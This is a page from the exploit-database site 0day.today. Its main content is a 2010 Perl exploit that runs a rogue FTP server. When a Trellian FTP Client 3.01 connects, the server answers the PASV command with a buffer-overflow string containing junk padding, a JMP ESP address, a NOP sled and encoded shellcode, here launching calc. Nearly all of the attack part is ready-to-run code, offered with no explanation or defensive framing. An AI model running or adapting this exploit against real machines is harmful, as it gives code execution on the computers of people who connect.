0day.today - La mayor base de datos de exploits en el mundo.
![](/img/logo_green.jpg)
We use one main domain DOMAIN_LINK
If you want to purchase the exploit or pay for service, you need to buy Gold. We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Enviar ] rules
- Visit the [ Preguntas frecuentes ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ [email protected] ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
No puedes contactar por:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Trellian FTP Client PASV BOF Exploit
==================================== Trellian FTP Client PASV BOF Exploit ==================================== # Exploit Title: Trellian FTP Client PASV BOF exploit # Date: 2010-04-11 # Author: zombiefx # Software Link: http://www.trellian.com/bin/lu/dl/TrellianFTP.exe # Version: Trellian FTP Client v 3.01 # Tested on: Windows XP SP3 # Usage: ./ftpserver.pl # Acts as a fake ftp server that passes the vulnerable PASV command when a clients connects. # Code: #!/usr/bin/perl use warnings; use strict; use IO::Socket; my $ftpsock = new IO::Socket::INET( LocalPort => '21', Proto => 'tcp', Listen => '1' ) or die "Socket Not Created $!\n"; print"#############################################################\n" . "# Trellian FTP Client PASV BOF exploit #\n" . "# Author:zombiefx #\n" . "# Greetz to: corelanc0d3r/Dino Dai Zovi #\n" . "# http://pentest.cryptocity.net/exploitation/ #\n" . "# http://www.corelan.be:8800 #\n" . "#############################################################\n"; my $junk = "\x41" x 200; my $jmpesp = pack( 'V',0x7E429353 ); #oops my $nops = "\x90" x 50; my $calcshell = "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; while ( my $data = $ftpsock->accept() ) { print "Client Connected!\nAwaiting Ftp commands: \n"; print $data "220 Welcome ;)!\r\n"; while (<$data>) { print; print $data "331 Anonymous access allowed,send e-mail as password.\r\n" if (/USER/i); print $data "230-Welcome to the EVIL server\n230 User logged in.\r\n" if (/PASS/i); print $data "257 \"/\" is current directory.\r\n" if (/PWD/gis); print $data "227 Entering Passive Mode (".$junk.$jmpesp.$nops.$calcshell.").\r\n" if (/PASV/i); print $data "150 Here comes the directory listing.\r\n226 Directory send OK.\r\n" if (/LIST/i); } } # 0day.today [2024-07-16] #